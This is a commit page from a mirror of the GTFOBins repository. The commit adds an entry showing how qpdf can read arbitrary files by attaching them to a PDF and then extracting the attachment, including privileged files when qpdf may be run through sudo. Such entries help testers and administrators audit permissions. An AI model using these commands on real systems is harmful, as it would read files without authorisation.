public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-10-22 16:48:09 +02:00
Code Issues Projects Releases Wiki Activity

Added qpdf arbitrary file read

Browse Source
This commit is contained in:
Sohail Saha 2024-04-09 19:31:37 +05:30
parent 4eca50ea16
commit c53efd1bfa
1 changed files with 10 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
_gtfobins/qpdf.md Normal file
View File

@ -0,0 +1,10 @@
---
description: QPDF is both a software library and a free command-line program that can convert one PDF file to another equivalent PDF file. It is capable of performing transformations such as linearization, encryption, and decryption of PDF files.
functions:
file-read:
- description: `qpdf` can be used to read any arbitrary file accessible to the running user, by attaching the target file to a valid PDF file, and then accessing that attachment. If the user is allowed to run `qpdf` as an elevated user (e.g with `sudo`), privileged files can be read.
code: |
FILE_TO_READ="/path/to/file"
qpdf --qdf --add-attachment $FILE_TO_READ --key=anykey -- valid.pdf output.pdf
qpdf --show-attachment=anykey output.pdf
---